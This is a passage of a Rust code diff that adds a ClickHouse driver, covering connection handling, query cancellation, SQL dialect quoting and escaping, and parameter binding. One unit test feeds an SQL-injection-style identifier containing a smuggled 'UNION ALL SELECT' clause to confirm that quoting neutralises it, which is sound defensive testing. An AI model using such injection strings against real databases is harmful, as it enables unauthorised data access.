Ok(()) + } + + fn catalog_table(&self, table: &TableRef) -> CatalogTable { + CatalogTable { + database: table + .schema + .clone() + .filter(|schema| !schema.is_empty()) + .unwrap_or_else(|| self.default_database.clone()), + name: table.name.clone(), + } + } + + /// Run one read on a task that outlives the caller, with a KILL + /// QUERY as its stop. `bound` is how long the server itself lets it + /// run, on top of the call's deadline. + async fn read( + &self, + options: CallOptions, + client: Client, + bound: Option, + work: W, + ) -> Result + where + T: Send + 'static, + W: FnOnce(CallClient) -> Fut + Send + 'static, + Fut: Future> + Send + 'static, + { + self.ensure_open()?; + let stop = Arc::new(ClickHouseStop::new(self.endpoint.control().clone())); + let base = match client { + Client::Reads => reading(self.endpoint.workspace(), read_bound(options.deadline(), bound)), + Client::Control => self.endpoint.control().clone(), + }; + let calls = CallClient::new(base, stop.clone()); + let outcome = self + .calls + .run_read( + options, + HttpCall::new(), + stop.clone(), + move |call, _request| async move { + let result = work(calls).await; + (call, result) + }, + ) + .await; + self.settle(outcome, &stop).await + } + + /// A workspace read, bounded by the workspace's statement timeout. + async fn workspace_read(&self, options: CallOptions, work: W) -> Result + where + T: Send + 'static, + W: FnOnce(CallClient) -> Fut + Send + 'static, + Fut: Future> + Send + 'static, + { + let bound = Some(self.settings.statement_timeout); + self.read(options, Client::Reads, bound, work).await + } + + /// Decide whether a failed call means the link itself is gone. + /// + /// The KILL already tried the route: if it never got an answer, the + /// route is gone. Otherwise a request of its own answers the + /// question within the cancel grace, so a dead route is reported + /// within the call's deadline plus that grace. + async fn settle(&self, outcome: Result, stop: &ClickHouseStop) -> Result { + let error = match outcome { + Ok(value) => return Ok(value), + Err(error) => self.endpoint.explain(error).await, + }; + if !suspects_link(&error) { + return Err(error); + } + let lost = match stop.progress() { + StopProgress::InFlight | StopProgress::Unreachable => true, + StopProgress::Delivered => false, + StopProgress::NotSent | StopProgress::NothingToStop => { + let checked = self.endpoint.check(self.liveness().cancel_grace).await; + checked.is_err_and(|failure| means_link_lost(&failure)) + } + }; + if !lost { + return Err(error); + } + self.link.mark_lost(); + Err(match error { + DriverError::Timeout { .. } => DriverError::ConnectionLost { + during: LossPhase::Statement, + }, + other => other, + }) + } +} + +/// A failure that may mean the route is gone rather than one statement. +fn suspects_link(error: &DriverError) -> bool { + match error { + DriverError::ConnectionLost { .. } | DriverError::Transport(_) => true, + DriverError::Timeout { + server_cancelled: false, + phase, + } => matches!(phase, TimeoutPhase::Statement | TimeoutPhase::Probe), + _ => false, + } +} + +fn means_link_lost(error: &DriverError) -> bool { + matches!( + error.category(), + ErrorCategory::Network | ErrorCategory::ConnectionLost | ErrorCategory::Timeout + ) +} + +#[async_trait] +impl Connection for ClickHouseConnection { + fn server_info(&self) -> &ServerInfo { + &self.server + } + + fn dialect(&self) -> Arc { + self.dialect.clone() + } + + fn read_only(&self) -> bool { + self.settings.read_only + } + + fn link_state(&self) -> LinkState { + self.link.state() + } + + fn lost(&self) -> WaitForCancellationFutureOwned { + self.link.lost() + } + + /// A fresh request: HTTP has no pool slot to wait for, so a busy + /// workspace never holds the probe up. + async fn probe(&self, options: CallOptions) -> Result<(), DriverError> { + self.ensure_open()?; + let deadline = options + .deadline() + .unwrap_or_else(|| Instant::now() + self.liveness().probe_timeout); + let bound = deadline.saturating_duration_since(Instant::now()); + let outcome = tokio::select! { + () = options.cancel().cancelled() => Err(DriverError::Cancelled), + outcome = self.endpoint.check(bound) => outcome, + }; + let outcome = match outcome { + Err(error) => Err(self.endpoint.explain(error).await), + ok => ok, + }; + if let Err(error) = &outcome + && means_link_lost(error) + { + self.link.mark_lost(); + } + outcome + } + + async fn list_schemas(&self, options: CallOptions) -> Result, DriverError> { + self.workspace_read(options, |calls| async move { metadata::list_schemas(&calls).await }) + .await + } + + async fn list_objects(&self, scope: &ObjectScope, options: CallOptions) -> Result, DriverError> { + let scope = scope.clone(); + let database = self.default_database.clone(); + self.workspace_read(options, move |calls| async move { + metadata::list_objects(&calls, &scope, &database).await + }) + .await + } + + async fn fetch_columns(&self, table: &TableRef, options: CallOptions) -> Result, DriverError> { + let table = self.catalog_table(table); + self.workspace_read(options, move |calls| async move { + let rows = catalog::column_rows(&calls, &table).await?; + Ok(rows.iter().map(catalog::ClickHouseColumnRow::info).collect()) + }) + .await + } + + async fn fetch_indexes(&self, table: &TableRef, options: CallOptions) -> Result, DriverError> { + let table = self.catalog_table(table); + self.workspace_read(options, move |calls| async move { + catalog::fetch_indexes(&calls, &table).await + }) + .await + } + + /// ClickHouse has no foreign keys. + async fn fetch_foreign_keys( + &self, + _table: &TableRef, + _options: CallOptions, + ) -> Result, DriverError> { + self.ensure_open()?; + Ok(Vec::new()) + } + + async fn fetch_table_definition( + &self, + table: &TableRef, + options: CallOptions, + ) -> Result { + let catalog_table = self.catalog_table(table); + let table = table.clone(); + self.workspace_read(options, move |calls| async move { + catalog::fetch_table_definition(&calls, &table, &catalog_table).await + }) + .await + } + + async fn row_identity(&self, table: &TableRef, options: CallOptions) -> Result { + let table = self.catalog_table(table); + self.workspace_read(options, move |calls| async move { + catalog::row_identity(&calls, &table).await + }) + .await + } + + async fn table_estimate(&self, table: &TableRef, options: CallOptions) -> Result { + let table = self.catalog_table(table); + self.workspace_read(options, move |calls| async move { + catalog::table_estimate(&calls, &table).await + }) + .await + } + + async fn query_bound( + &self, + statement: &Statement, + limit: RowLimit, + options: CallOptions, + ) -> Result { + let statement = statement.clone(); + self.workspace_read(options, move |calls| async move { + let table = read_table(calls.statement(&statement), Some(limit.get())).await?; + Ok(QueryResult::new(table.columns, table.rows).truncated(table.truncated)) + }) + .await + } + + async fn count_rows(&self, statement: &Statement, options: CallOptions) -> Result { + let statement = statement.clone(); + self.workspace_read(options, move |calls| async move { + let table = read_table(calls.statement(&statement), Some(1)).await?; + let value = table + .rows + .first() + .and_then(|row| row.first()) + .ok_or_else(|| DriverError::Protocol("the count returned no row".to_owned()))?; + value + .as_exact_u64() + .ok_or_else(|| DriverError::Protocol(format!("the count returned {value:?}"))) + }) + .await + } + + /// An export can take minutes, so the server sets no bound of its + /// own; the caller's deadline and cancel still stop it. + async fn stream_read( + &self, + read: &ReadStatement, + mut sink: Box, + options: CallOptions, + ) -> Result { + let read = read.clone(); + self.read(options, Client::Reads, None, move |calls| async move { + stream(&calls, &read, sink.as_mut()).await + }) + .await + } + + async fn write_batch(&self, batch: &WriteBatch, options: CallOptions) -> Result { + self.ensure_open()?; + precheck(batch, self.settings.read_only)?; + let stop = Arc::new(ClickHouseStop::new(self.endpoint.control().clone())); + let ledger = Arc::new(WriteLedger::new(WriteAtomicity::StatementByStatement)); + let probe_bound = read_bound(options.deadline(), Some(self.settings.statement_timeout)); + let plan = WritePlan { + batch: batch.clone(), + ledger: ledger.clone(), + probes: CallClient::new(reading(self.endpoint.workspace(), probe_bound), stop.clone()), + writes: self + .endpoint + .workspace() + .clone() + .with_setting("wait_end_of_query", "1") + .with_setting("max_execution_time", "0"), + }; + let work_stop = stop.clone(); + let outcome = self + .calls + .run_write( + options, + HttpCall::new(), + stop.clone(), + ledger, + move |call, request| async move { + let result = perform(&plan, &request, &work_stop).await; + (call, result) + }, + ) + .await; + self.settle(outcome, &stop).await + } + + async fn resolve_commit(&self, token: &CommitToken, options: CallOptions) -> Result { + let token = token.clone(); + let bound = Some(self.settings.statement_timeout); + self.read(options, Client::Control, bound, move |calls| async move { + resolve(&calls, &token).await + }) + .await + } + + async fn open_editor_session( + &self, + options: EditorSessionOptions, + cancel: CancellationToken, + ) -> Result, DriverError> { + self.ensure_open()?; + let session = ClickHouseEditorSession::open(&self.endpoint, options, cancel).await?; + Ok(session) + } + + async fn close(&self) -> Result<(), DriverError> { + if self.closed.swap(true, Ordering::SeqCst) { + return Ok(()); + } + self.calls.shutdown().await; + Ok(()) + } +} diff --git a/linux/crates/drivers/clickhouse/src/dialect.rs b/linux/crates/drivers/clickhouse/src/dialect.rs new file mode 100644 index 0000000000..34800f8067 --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/dialect.rs @@ -0,0 +1,566 @@ +use tablepro_core::ServerInfo; +use tablepro_core::column::{ + BoolStorage, ColumnInfo, ColumnKind, ColumnType, FloatWidth, IntegerWidth, SqlExpression, TemporalZone, TextLength, +}; +use tablepro_core::ddl::{DdlCapabilities, DdlDialect}; +use tablepro_core::dialect::{ + BindError, BindTarget, DialectCapabilities, KeysetDirection, LikeCase, LikeForm, LiteralError, Placeholder, + SqlDialect, +}; +use tablepro_core::export::value_to_text; +use tablepro_core::meta::{EngineRowId, EngineRowIdPart, TableRef}; +use tablepro_core::sql_syntax::{ + ExpressionSyntaxError, MAX_EXPRESSION_LEN, MAX_TYPE_LEN, SqlGrammar, TypeSyntaxError, parse_expression, parse_type, +}; +use tablepro_core::statement::{BoundParam, ParamType}; +use tablepro_core::value::{Temporal, Value}; + +use crate::clickhouse_type::ClickHouseType; +use crate::param_value::param_name; + +/// The characters ClickHouse's lexer reads a backslash before, inside a +/// quoted string or a quoted identifier alike. The same set as the +/// clickhouse crate's own escaper, which a test holds this to. +const ESCAPED: [char; 5] = ['\\', '\'', '`', '\t', '\n']; + +/// How ClickHouse spells the SQL the app generates. +/// +/// Values travel as server-side `{pN:Type}` parameters, typed by the +/// column's own declaration, so the server parses each one exactly as +/// the column would: a DateTime64 in the column's zone, a Decimal(76, +/// 20) digit for digit, and a key that is not UTF-8 byte for byte. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct ClickHouseDialect { + major: u32, + minor: u32, +} + +impl ClickHouseDialect { + pub fn new(server: &ServerInfo) -> Self { + Self { + major: server.major, + minor: server.minor, + } + } + + /// The server's major and minor version, for SQL that changed + /// between releases. + pub fn version(&self) -> (u32, u32) { + (self.major, self.minor) + } +} + +static CLICKHOUSE_DDL: ClickHouseDdl = ClickHouseDdl { + capabilities: DdlCapabilities { + create_table: true, + rename_table: true, + add_column: true, + drop_column: true, + rename_column: true, + alter_column_type: true, + alter_column_nullability: true, + nullability_switch: false, + alter_column_default: true, + alter_primary_key: false, + alter_auto_increment: false, + create_index: true, + drop_index: true, + expression_index_keys: true, + partial_indexes: false, + add_foreign_key: false, + drop_foreign_key: false, + drop_table_cascade: false, + }, +}; + +#[derive(Debug)] +struct ClickHouseDdl { + capabilities: DdlCapabilities, +} + +impl DdlDialect for ClickHouseDdl { + fn capabilities(&self) -> &DdlCapabilities { + &self.capabilities + } +} + +impl SqlDialect for ClickHouseDialect { + fn capabilities(&self) -> DialectCapabilities { + // A mutation reports nothing useful about how many rows it + // touched, so a write proves itself with a probe instead. + DialectCapabilities { + exact_row_counts: false, + } + } + + fn grammar(&self) -> SqlGrammar { + SqlGrammar::ClickHouse + } + + fn quote_identifier(&self, name: &str) -> String { + let mut quoted = String::with_capacity(name.len() + 2); + quoted.push('`'); + escape_into(name, &mut quoted); + quoted.push('`'); + quoted + } + + fn placeholder(&self, ordinal: usize, value: Value, target: BindTarget<'_>) -> Result { + // A parameter typed as the column refuses `\N` unless the type is + // Nullable, and the literal means NULL to every type. + if value.is_null() { + return Ok(Placeholder::inline("NULL")); + } + let (param_type, type_sql) = match target { + BindTarget::Pattern => (ParamType::Text, "String".to_owned()), + BindTarget::EngineRowId(_) => { + return Err(BindError::Unrepresentable { + expected: "a ClickHouse value", + found: "an engine row address", + }); + } + BindTarget::Column(column) => (column_param_type(column, &value)?, bind_type(column)?), + }; + let param = BoundParam::new(value, param_type)?; + Ok(Placeholder::bound( + format!("{{{}:{type_sql}}}", param_name(ordinal)), + param, + )) + } + + fn literal(&self, value: &Value, _column: &ColumnType) -> Result { + literal(value) + } + + fn escape_like_text(&self, text: &str) -> String { + let mut escaped = String::with_capacity(text.len()); + for character in text.chars() { + if matches!(character, '\\' | '%' | '_') { + escaped.push('\\'); + } + escaped.push(character); + } + escaped + } + + /// ClickHouse reads a backslash in a pattern as the escape, and its + /// ESCAPE clause is too new to rely on, so none is written. + fn like_predicate(&self, column_sql: &str, pattern_sql: &str, form: LikeForm) -> String { + let operator = match (form.negated, form.case) { + (false, LikeCase::EngineDefault) => "LIKE", + (true, LikeCase::EngineDefault) => "NOT LIKE", + (false, LikeCase::Insensitive) => "ILIKE", + (true, LikeCase::Insensitive) => "NOT ILIKE", + }; + format!("{column_sql} {operator} {pattern_sql}") + } + + fn row_window(&self, order_by: Option<&str>, limit: u64, offset: u64) -> String { + match order_by.map(str::trim).filter(|order| !order.is_empty()) { + Some(order) => format!(" ORDER BY {order} LIMIT {limit} OFFSET {offset}"), + None => format!(" LIMIT {limit} OFFSET {offset}"), + } + } + + fn row_value_after(&self, key_sql: &[String], markers: &[String], direction: KeysetDirection) -> String { + format!( + "({}) {} ({})", + key_sql.join(", "), + direction.comparison(), + markers.join(", ") + ) + } + + fn engine_row_id(&self, _id: EngineRowId) -> Option { + None + } + + fn engine_row_id_column(&self, _part: EngineRowIdPart) -> Option { + None + } + + fn parse_type(&self, text: &str) -> Result { + let parsed = parse_type(SqlGrammar::ClickHouse, text, MAX_TYPE_LEN)?; + Ok(ClickHouseType::parse(&parsed.text).column_type) + } + + fn parse_expression(&self, text: &str) -> Result { + let parsed = parse_expression(SqlGrammar::ClickHouse, text, MAX_EXPRESSION_LEN)?; + Ok(SqlExpression::from_catalog_text(parsed.text)) + } + + fn ddl(&self) -> Option<&dyn DdlDialect> { + Some(&CLICKHOUSE_DDL) + } + + /// The column alone: the FROM names the table as `db.table`, which a + /// `table.column` sort would not match. + fn sort_expression(&self, _table: &TableRef, column: &ColumnInfo) -> String { + self.quote_identifier(&column.name) + } + + fn count_all(&self) -> &'static str { + "count()" + } + + /// Standard UPDATE arrived only in 25.7; the mutation spelling works + /// on every release. + fn update_statement(&self, table_sql: &str, assignments_sql: &str, predicate_sql: &str) -> String { + format!("ALTER TABLE {table_sql} UPDATE {assignments_sql} WHERE {predicate_sql}") + } + + fn delete_statement(&self, table_sql: &str, predicate_sql: &str) -> String { + format!("ALTER TABLE {table_sql} DELETE WHERE {predicate_sql}") + } + + /// ClickHouse has no spelling for a row of nothing but defaults. + fn insert_default_row(&self, _table_sql: &str) -> Option { + None + } + + /// No FINAL, so unmerged duplicates of a sorting key count. + fn key_probe(&self, table_sql: &str, predicate_sql: &str) -> String { + format!("SELECT count() FROM (SELECT 1 FROM {table_sql} WHERE {predicate_sql} LIMIT 2)") + } +} + +fn escape_into(text: &str, out: &mut String) { + for character in text.chars() { + if ESCAPED.contains(&character) { + out.push('\\'); + } + out.push(character); + } +} + +/// The type a column's value is bound as, from the catalogue: guessing +/// from the display name could pick the wrong one. +fn bind_type(column: &ColumnInfo) -> Result { + column + .column_type + .catalog + .as_ref() + .map(|catalog| catalog.cast_target.as_sql().to_owned()) + .ok_or_else(|| BindError::MissingCatalogType { + column: column.name.clone(), + }) +} + +/// What a value is checked against before it is bound. The server parses +/// the text as the column's own type either way; this catches a value +/// of the wrong shape before it reaches the server. +fn column_param_type(column: &ColumnInfo, value: &Value) -> Result { + let column_type = &column.column_type; + Ok(match &column_type.kind { + ColumnKind::Bool(BoolStorage::Native) => ParamType::Bool, + ColumnKind::Bool(BoolStorage::Integer) => ParamType::Int64, + // An edit narrows a number to the smallest variant that holds + // it, so an unsigned 64-bit column can receive either. + ColumnKind::Integer(kind) => match kind.width { + IntegerWidth::W128 | IntegerWidth::W256 => ParamType::Decimal, + _ => ParamType::Int64, + }, + ColumnKind::Decimal { .. } | ColumnKind::Money { .. } => ParamType::Decimal, + ColumnKind::Float(FloatWidth::F32) => ParamType::Float32, + ColumnKind::Float(FloatWidth::F64) => ParamType::Float64, + // A String that is not UTF-8 was read as bytes, and is written back + // as those bytes so a key built from it matches the row. + ColumnKind::Text { .. } if matches!(value, Value::Bytes(_)) => ParamType::Bytes, + ColumnKind::Text { + length: TextLength::Fixed(_), + } => ParamType::FixedText, + ColumnKind::Text { .. } => ParamType::Text, + ColumnKind::Bytes { .. } => ParamType::Bytes, + ColumnKind::Uuid => ParamType::Uuid, + ColumnKind::Date => ParamType::Date, + ColumnKind::Time { .. } => ParamType::Time, + ColumnKind::Timestamp { + zone: TemporalZone::Offset, + .. + } => ParamType::TimestampTz, + ColumnKind::Timestamp { .. } => ParamType::Timestamp, + ColumnKind::Json { binary: false } => ParamType::Json, + ColumnKind::Json { binary: true } => ParamType::JsonBinary, + ColumnKind::Enum { .. } + | ColumnKind::Network(_) + | ColumnKind::Xml + | ColumnKind::Spatial + | ColumnKind::Variant + | ColumnKind::Composite + | ColumnKind::Array { .. } + | ColumnKind::Interval + | ColumnKind::BitString { .. } + | ColumnKind::Other => ParamType::ServerText( + column_type + .catalog + .as_ref() + .map(|catalog| catalog.cast_target.clone()) + .ok_or_else(|| BindError::MissingCatalogType { + column: column.name.clone(), + })?, + ), + }) +} + +fn literal(value: &Value) -> Result { + Ok(match value { + Value::Null => "NULL".to_owned(), + Value::Bool(flag) => flag.to_string(), + Value::Int(int) => int.to_string(), + Value::UInt(int) => int.to_string(), + Value::WideInt(int) => int.to_string(), + Value::Float32(float) => float_literal(f64::from(*float)).unwrap_or_else(|| float.to_string()), + Value::Float64(float) => float_literal(*float).unwrap_or_else(|| float.to_string()), + Value::Decimal(decimal) if decimal.is_finite() => decimal.to_string(), + Value::Bytes(bytes) => unhex(bytes), + Value::Text(text) + if text + .chars() + .any(|character| character.is_control() && !ESCAPED.contains(&character)) => + { + unhex(text.as_bytes()) + } + Value::Array(values) => { + let items = values.iter().map(literal).collect::, _>>()?; + format!("[{}]", items.join(", ")) + } + Value::Date(Temporal::Infinity | Temporal::NegInfinity) + | Value::Timestamp(Temporal::Infinity | Temporal::NegInfinity) + | Value::TimestampTz(Temporal::Infinity | Temporal::NegInfinity) => { + return Err(LiteralError::Unrepresentable { + found: value.variant_name(), + }); + } + Value::Undecodable(undecodable) => { + return Err(LiteralError::Undecodable { + reason: format!("{:?}", undecodable.reason), + }); + } + Value::Other(other) => quoted(&other.text), + other => match value_to_text(other) { + Some(text) => quoted(&text), + None => { + return Err(LiteralError::Unrepresentable { + found: other.variant_name(), + }); + } + }, + }) +} + +/// A string literal with the crate's escape set, so it reads the same +/// whatever it holds. +fn quoted(text: &str) -> String { + let mut quoted = String::with_capacity(text.len() + 2); + quoted.push('\''); + escape_into(text, &mut quoted); + quoted.push('\''); + quoted +} + +/// Bytes, and text with a control character the escape set does not +/// cover, written as hex so no byte depends on how a string is lexed. +fn unhex(bytes: &[u8]) -> String { + format!("unhex('{}')", tablepro_core::hex::encode_lower(bytes)) +} + +/// The words ClickHouse uses for the non-finite floats. +fn float_literal(value: f64) -> Option { + if value.is_nan() { + return Some("nan".to_owned()); + } + if value.is_infinite() { + return Some(if value.is_sign_negative() { "-inf" } else { "inf" }.to_owned()); + } + None +} + +#[cfg(test)] +mod tests { + use clickhouse::sql::Identifier; + use tablepro_core::column::{ColumnDefault, IntegerKind}; + + use super::*; + + fn dialect() -> ClickHouseDialect { + ClickHouseDialect::new(&ServerInfo::new("ClickHouse", "25.8.1.1", 25, 8, 1)) + } + + fn column(type_text: &str) -> ColumnInfo { + ColumnInfo { + name: "c".to_owned(), + column_type: ClickHouseType::parse(type_text).column_type, + nullable: true, + primary_key: false, + is_auto_increment: false, + is_generated: false, + default: ColumnDefault::None, + comment: None, + } + } + + fn bind(ordinal: usize, value: Value, type_text: &str) -> Result { + dialect().placeholder(ordinal, value, BindTarget::Column(&column(type_text))) + } + + /// What the clickhouse crate itself writes for an identifier. + fn crate_identifier(name: &str) -> String { + clickhouse::Client::default() + .query("?") + .bind(Identifier(name)) + .sql_display() + .to_string() + } + + #[test] + fn identifiers_quote_exactly_as_the_crate_does() { + for name in [ + "plain", + "a`b", + r"t\` UNION ALL SELECT 42 --", + "it's", + "tab\there", + "line\nbreak", + "trailing\\", + "naïve ✓", + ] { + assert_eq!(dialect().quote_identifier(name), crate_identifier(name), "{name:?}"); + } + } + + #[test] + fn placeholders_name_the_parameter_and_the_columns_type() { + let stamp = bind(0, Value::Text("x".to_owned()), "DateTime64(3, 'UTC')"); + assert!(matches!(stamp, Err(BindError::ValueTypeMismatch { .. }))); + + let when = chrono::NaiveDate::from_ymd_opt(2024, 6, 15) + .and_then(|date| date.and_hms_milli_opt(8, 30, 0, 123)) + .expect("a timestamp"); + let stamp = bind(2, Value::Timestamp(Temporal::Finite(when)), "DateTime64(3, 'UTC')").expect("a timestamp"); + assert_eq!(stamp.sql, "{p2:DateTime64(3, 'UTC')}"); + + let low = bind(0, Value::Text("a".to_owned()), "LowCardinality(Nullable(String))").expect("a string"); + assert_eq!(low.sql, "{p0:String}"); + + let wide = bind(1, Value::UInt(7), "UInt64").expect("an unsigned value"); + assert_eq!(wide.sql, "{p1:UInt64}"); + assert_eq!(wide.param.as_ref().map(BoundParam::param_type), Some(&ParamType::Int64)); + } + + #[test] + fn a_string_that_is_not_utf8_binds_as_its_bytes() { + let placeholder = bind(0, Value::Bytes(vec![0xff, 0x41]), "String").expect("bytes for a String"); + + assert_eq!(placeholder.sql, "{p0:String}"); + assert_eq!( + placeholder.param.as_ref().map(BoundParam::param_type), + Some(&ParamType::Bytes) + ); + } + + #[test] + fn a_null_is_the_literal_and_binds_nothing() { + let placeholder = bind(3, Value::Null, "Int32").expect("a null"); + + assert_eq!(placeholder, Placeholder::inline("NULL")); + } + + #[test] + fn an_engine_row_address_has_no_clickhouse_form() { + let refused = dialect().placeholder(0, Value::Int(1), BindTarget::EngineRowId(EngineRowIdPart::SqliteRowid)); + + assert!(matches!(refused, Err(BindError::Unrepresentable { .. }))); + assert_eq!(dialect().engine_row_id_column(EngineRowIdPart::PostgresCtid), None); + } + + #[test] + fn a_pattern_binds_as_a_string() { + let placeholder = dialect() + .placeholder(4, Value::Text("50\\%".to_owned()), BindTarget::Pattern) + .expect("a pattern"); + + assert_eq!(placeholder.sql, "{p4:String}"); + } + + #[test] + fn literals_escape_and_fall_back_to_hex() { + assert_eq!( + literal(&Value::Text("it's \\ ok".to_owned())), + Ok(r"'it\'s \\ ok'".to_owned()) + ); + assert_eq!(literal(&Value::Bytes(vec![0x00, 0xff])), Ok("unhex('00ff')".to_owned())); + assert_eq!( + literal(&Value::Text("bell\u{7}".to_owned())), + Ok("unhex('62656c6c07')".to_owned()) + ); + assert_eq!(literal(&Value::Float64(f64::NEG_INFINITY)), Ok("-inf".to_owned())); + assert_eq!( + literal(&Value::Array(vec![Value::Int(1), Value::Text("a".to_owned())])), + Ok("[1, 'a']".to_owned()) + ); + } + + #[test] + fn like_escapes_with_backslash_and_writes_no_escape_clause() { + let dialect = dialect(); + + assert_eq!(dialect.escape_like_text("a\\%_"), "a\\\\\\%\\_"); + assert_eq!( + dialect.like_predicate("`a`", "{p0:String}", LikeForm::contains()), + "`a` LIKE {p0:String}" + ); + assert_eq!( + dialect.like_predicate("`a`", "{p0:String}", LikeForm::insensitive(true)), + "`a` NOT ILIKE {p0:String}" + ); + } + + #[test] + fn writes_are_mutations_and_counts_are_not_exact() { + let dialect = dialect(); + + assert!(!dialect.capabilities().exact_row_counts); + assert_eq!( + dialect.update_statement("t", "a = 1", "id = 2"), + "ALTER TABLE t UPDATE a = 1 WHERE id = 2" + ); + assert_eq!( + dialect.delete_statement("t", "id = 1"), + "ALTER TABLE t DELETE WHERE id = 1" + ); + assert!(dialect.insert_default_row("t").is_none()); + assert_eq!( + dialect.key_probe("t", "id = 1"), + "SELECT count() FROM (SELECT 1 FROM t WHERE id = 1 LIMIT 2)" + ); + assert_eq!(dialect.count_all(), "count()"); + assert_eq!( + dialect.row_value_after( + &["`a`".to_owned(), "`b`".to_owned()], + &["{p0:Int32}".to_owned(), "{p1:Int32}".to_owned()], + KeysetDirection::After + ), + "(`a`, `b`) > ({p0:Int32}, {p1:Int32})" + ); + } + + #[test] + fn parse_type_classifies_through_the_server_type_parser() { + let parsed = dialect().parse_type("Nullable(Decimal(18, 4))").expect("a type"); + + assert_eq!( + parsed.kind, + ColumnKind::Decimal { + precision: Some(18), + scale: Some(4) + } + ); + assert_eq!( + dialect().parse_type("UInt8").map(|parsed| parsed.kind), + Ok(ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W8, + signed: false + })) + ); + } +} diff --git a/linux/crates/drivers/clickhouse/src/driver.rs b/linux/crates/drivers/clickhouse/src/driver.rs new file mode 100644 index 0000000000..4c70c903f8 --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/driver.rs @@ -0,0 +1,74 @@ +use std::sync::Arc; + +use async_trait::async_trait; +use tablepro_core::{ConnectOptions, ConnectTarget, Connection, DatabaseDriver, DriverCapabilities, DriverError}; +use tokio_util::sync::CancellationToken; + +use crate::capabilities::CAPABILITIES; +use crate::connection::ClickHouseConnection; +use crate::endpoint::ClickHouseEndpoint; + +/// ClickHouse over its HTTP interface, reached through whatever transport +/// the target carries. +#[derive(Debug, Default, Clone, Copy)] +pub struct ClickhouseDriver; + +#[async_trait] +impl DatabaseDriver for ClickhouseDriver { + fn id(&self) -> &'static str { + "clickhouse" + } + + fn display_name(&self) -> &'static str { + "ClickHouse" + } + + fn capabilities(&self) -> &'static DriverCapabilities { + &CAPABILITIES + } + + async fn connect( + &self, + options: ConnectOptions, + cancel: CancellationToken, + ) -> Result, DriverError> { + let ConnectTarget::Network(target) = &options.target else { + return Err(DriverError::Unsupported { + feature: "a database file", + }); + }; + if let Some(tls) = CAPABILITIES.tls.as_ref() { + target.tls.validate(tls, target.transport.kind().class())?; + } + let endpoint = Arc::new(ClickHouseEndpoint::new( + target, + options.liveness, + &options.environment, + options.workspace_settings.read_only, + )?); + // HTTP has no login of its own, so the first request is the one + // that proves the credentials, and a cancel abandons it. + let (server, database) = tokio::select! { + () = cancel.cancelled() => return Err(DriverError::Cancelled), + identified = endpoint.identify() => identified?, + }; + Ok(Arc::new(ClickHouseConnection::new( + endpoint, + options.workspace_settings, + server, + database, + ))) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn driver_names_itself() { + assert_eq!(ClickhouseDriver.id(), "clickhouse"); + assert_eq!(ClickhouseDriver.display_name(), "ClickHouse"); + assert_eq!(ClickhouseDriver.capabilities().default_port(), Some(8123)); + } +} diff --git a/linux/crates/drivers/clickhouse/src/editor_run.rs b/linux/crates/drivers/clickhouse/src/editor_run.rs new file mode 100644 index 0000000000..e16223361c --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/editor_run.rs @@ -0,0 +1,349 @@ +use std::sync::Arc; +use std::time::Duration; + +use tablepro_core::column::ResultColumn; +use tablepro_core::{ + DriverError, ErrorCategory, LossPhase, ResultEvent, ResultSink, RowLimit, RunEnd, RunOptions, RunSummary, SinkFlow, + TimeoutPhase, TransactionState, Truncation, UserSql, Value, +}; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; +use uuid::Uuid; + +use crate::call_client::whole_seconds; +use crate::cancel::{acknowledges_stop, kill_query}; +use crate::result_reader::{ReadEvent, ResultReader}; + +/// Rows per `ResultEvent::Rows`. The sink is awaited per batch, so a slow +/// grid slows the read instead of growing a queue. +const BATCH_ROWS: usize = 256; + +/// Why a run stopped before its statement did. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum Interrupt { + Cancelled, + DeadlineElapsed, + /// The sink said nobody is reading any more. + ConsumerGone, +} + +/// One run of user SQL on an editor session's client. +pub(crate) struct EditorRun { + pub(crate) session: clickhouse::Client, + pub(crate) control: clickhouse::Client, + pub(crate) statement_timeout: Option, + pub(crate) grace: Duration, + pub(crate) shutdown: CancellationToken, +} + +/// What a run ended with, or the session being gone. +pub(crate) type RunOutcome = Result; + +impl EditorRun { + /// Send the statement and stream what comes back. + /// + /// A stop sends KILL QUERY for this run's query id and keeps reading, + /// because the server answers the KILL by ending the response; only + /// a server that has not answered within the grace is cut off. + pub(crate) async fn run(self, sql: UserSql, options: RunOptions, sink: Box) -> RunOutcome { + let started = Instant::now(); + if sql.is_empty() { + return Ok(summary(started, RunEnd::Completed)); + } + let bound = match (options.deadline, self.statement_timeout) { + (Some(run), Some(statement)) => Some(run.min(statement)), + (run, statement) => run.or(statement), + }; + let query_id = Uuid::new_v4(); + let mut query = self + .session + .query_raw(sql.as_str()) + .with_setting("query_id", query_id.to_string()); + if bound.is_some() { + query = query + .with_setting("max_execution_time", whole_seconds(bound).to_string()) + .with_setting("timeout_overflow_mode", "throw"); + } + let deadline = bound.map(|bound| started + bound); + let mut reader = match ResultReader::open(query) { + Ok(reader) => reader, + Err(error) => return Ok(summary(started, RunEnd::Failed(error))), + }; + let mut emitter = Emitter::new(sink, options.row_limit); + let mut stop = Stop::new(options.cancel, self.shutdown.clone(), deadline, self.grace); + let end = loop { + let event = tokio::select! { + biased; + event = reader.next_event() => event, + interrupt = stop.triggered(), if stop.fired.is_none() => { + stop.fire(interrupt, &self.control, query_id); + continue; + } + () = stop.gave_up(), if stop.fired.is_some() => { + break stop.end(None); + } + }; + match event { + Ok(ReadEvent::Columns(columns)) => emitter.start(columns).await, + Ok(ReadEvent::Row(row)) => { + if emitter.row(row).await { + emitter.limit_reached().await; + // The rest of the result is not wanted, so the read + // stops on the server before its body is dropped. + let killing = kill_query(&self.control, query_id); + let _ = tokio::time::timeout(self.grace, killing).await; + break stop.fired.map_or(RunEnd::Completed, |_| stop.end(None)); + } + } + Ok(ReadEvent::End) => { + emitter.finish(reader.has_result_set(), reader.written_rows()).await; + break stop.fired.map_or(RunEnd::Completed, |_| stop.end(None)); + } + Err(error) if stop.fired.is_some() => break stop.end(Some(&error)), + Err(error) if lost(&error) => { + return Err(DriverError::ConnectionLost { + during: LossPhase::Statement, + }); + } + Err(DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled, + }) => break RunEnd::TimedOut { server_cancelled }, + Err(error) => break RunEnd::Failed(error), + } + if 